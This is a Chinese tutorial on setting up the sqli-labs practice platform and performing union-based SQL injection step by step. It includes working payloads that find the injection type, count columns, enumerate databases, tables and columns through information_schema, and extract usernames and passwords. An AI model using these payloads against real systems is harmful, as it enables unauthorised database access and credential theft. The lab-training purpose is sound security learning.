注入前准备
搭建本地sql注入平台
sqli-labs下载地址:https://github.com/Audi-1/sqli-labs
首先PHP版本不能大于7,不然不能用。
解压到
在sqli-labs-master\sql-connections里面有个db-creds.inc文件,打开并修改账号密码
如下图为正常
即可搭建完毕靶场,开始练习sql注入。
注入基本操作
判断整形还是字符型
输入and 1=1和and 1=2后若页面没有变化,则不是整型注入
若变化则是整型注入
整型则在?id=1后不加任何符号
字符型则可在?id=1后加’、"、’)、")四种符号
判断查询列数
运用order by 语句
由上图看出,当大于等于它的列数时会报错
?id=1'order by3--+
判断显示位
使用union语句
需要union前的语句报错
?id=-1' union select 1,2,3--+
获取所有数据库名
运用group_concat()函数
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
获取表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23
获取列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23
获取列中信息
?id=-1' union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3%23